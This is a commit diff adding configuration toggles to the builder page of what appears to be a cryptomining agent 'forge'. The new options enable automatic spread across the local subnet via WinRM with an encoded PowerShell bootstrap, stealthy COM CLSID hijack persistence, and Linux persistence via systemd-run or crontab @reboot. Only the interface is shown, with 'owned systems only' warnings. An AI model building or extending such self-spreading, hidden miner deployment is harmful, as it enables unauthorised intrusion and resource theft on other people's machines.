Add forge spread toggles for WinRM and Linux LOTL
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -78,7 +78,6 @@ import {
|
||||
} from '../help/forgeMissionWizard';
|
||||
import { LOTL_ONION_TIER_DOCS } from '../help/lotlOnionTiers';
|
||||
import { spreadTechniqueDocUrl } from '../help/spreadTechniques';
|
||||
import './Pages.css';
|
||||
import './BuilderPage.css';
|
||||
|
||||
function forgePageClass(operationMode: OperationModeId, themeOverride: ReturnType<typeof loadStoredForgeTheme>): string {
|
||||
@@ -2908,6 +2907,80 @@ export default function BuilderPage() {
|
||||
</label>
|
||||
<FieldHint field="share_spread" />
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.winrm_spread?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.winrm_spread}
|
||||
disabled={fieldMeta.winrm_spread?.disabled}
|
||||
onChange={(e) => {
|
||||
const checked = e.target.checked;
|
||||
if (checked && !window.confirm(
|
||||
'Enable WinRM Spread?\n\n' +
|
||||
'When baked ON, autospread sweeps the local subnet for WinRM-open hosts ' +
|
||||
'and deploys via encoded PowerShell bootstrap.\n\n' +
|
||||
'Only enable on networks and systems you explicitly own or administer.'
|
||||
)) return;
|
||||
updateField('winrm_spread', checked);
|
||||
}} />
|
||||
<span>WinRM Spread — encoded bootstrap on remoting hosts <HelpTip field="winrm_spread" /></span>
|
||||
</label>
|
||||
{form.winrm_spread && (
|
||||
<p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}>
|
||||
⚠ WinRM Spread is ON — autospread will probe /24 and push to WinRM-enabled hosts.
|
||||
</p>
|
||||
)}
|
||||
<ForgeLockedHint meta={fieldMeta.winrm_spread} />
|
||||
<FieldHint field="winrm_spread" />
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.com_hijack_persist?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.com_hijack_persist}
|
||||
disabled={fieldMeta.com_hijack_persist?.disabled}
|
||||
onChange={(e) => {
|
||||
const checked = e.target.checked;
|
||||
if (checked && !window.confirm(
|
||||
'Enable COM Hijack Persistence?\n\n' +
|
||||
'Registers the agent under an InprocServer32 CLSID hijack for stealthy relaunch. ' +
|
||||
'This is aggressive, high-friction persistence.\n\n' +
|
||||
'Default is OFF — only enable on systems you fully own.'
|
||||
)) return;
|
||||
updateField('com_hijack_persist', checked);
|
||||
}} />
|
||||
<span>COM Hijack Persist — CLSID hijack (default off) <HelpTip field="com_hijack_persist" /></span>
|
||||
</label>
|
||||
{form.com_hijack_persist && (
|
||||
<div style={{ margin: '4px 0 2px 24px', padding: '6px 10px', background: 'rgba(255,80,80,0.1)', border: '1px solid rgba(255,80,80,0.45)', borderRadius: 4, fontSize: '0.82em', color: '#ff6b6b' }}>
|
||||
⚠ COM Hijack is ON — high-friction persistence via registry CLSID hijack. Use only on owned lab hosts.
|
||||
</div>
|
||||
)}
|
||||
<ForgeLockedHint meta={fieldMeta.com_hijack_persist} />
|
||||
<FieldHint field="com_hijack_persist" />
|
||||
</div>
|
||||
|
||||
{(form.target_os === 'linux' || form.target_os === 'universal') && (
|
||||
<div className={`form-group ${fieldMeta.linux_lotl_mode?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Linux LOTL Mode <HelpTip field="linux_lotl_mode" /></label>
|
||||
<select
|
||||
className="input"
|
||||
disabled={fieldMeta.linux_lotl_mode?.disabled}
|
||||
value={form.linux_lotl_mode ?? 'off'}
|
||||
onChange={(e) => updateField('linux_lotl_mode', e.target.value)}
|
||||
>
|
||||
<option value="off">Off — no native-tool persistence</option>
|
||||
<option value="systemd_run_user">systemd-run --user</option>
|
||||
<option value="crontab">crontab @reboot</option>
|
||||
<option value="both">Both — systemd-run + crontab</option>
|
||||
</select>
|
||||
{form.linux_lotl_mode && form.linux_lotl_mode !== 'off' && (
|
||||
<p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}>
|
||||
⚠ Linux LOTL persistence is {form.linux_lotl_mode.replace(/_/g, ' ')} — baked into Linux/universal workers only.
|
||||
</p>
|
||||
)}
|
||||
<ForgeLockedHint meta={fieldMeta.linux_lotl_mode} />
|
||||
<FieldHint field="linux_lotl_mode" />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
|
||||
Reference in New Issue
Block a user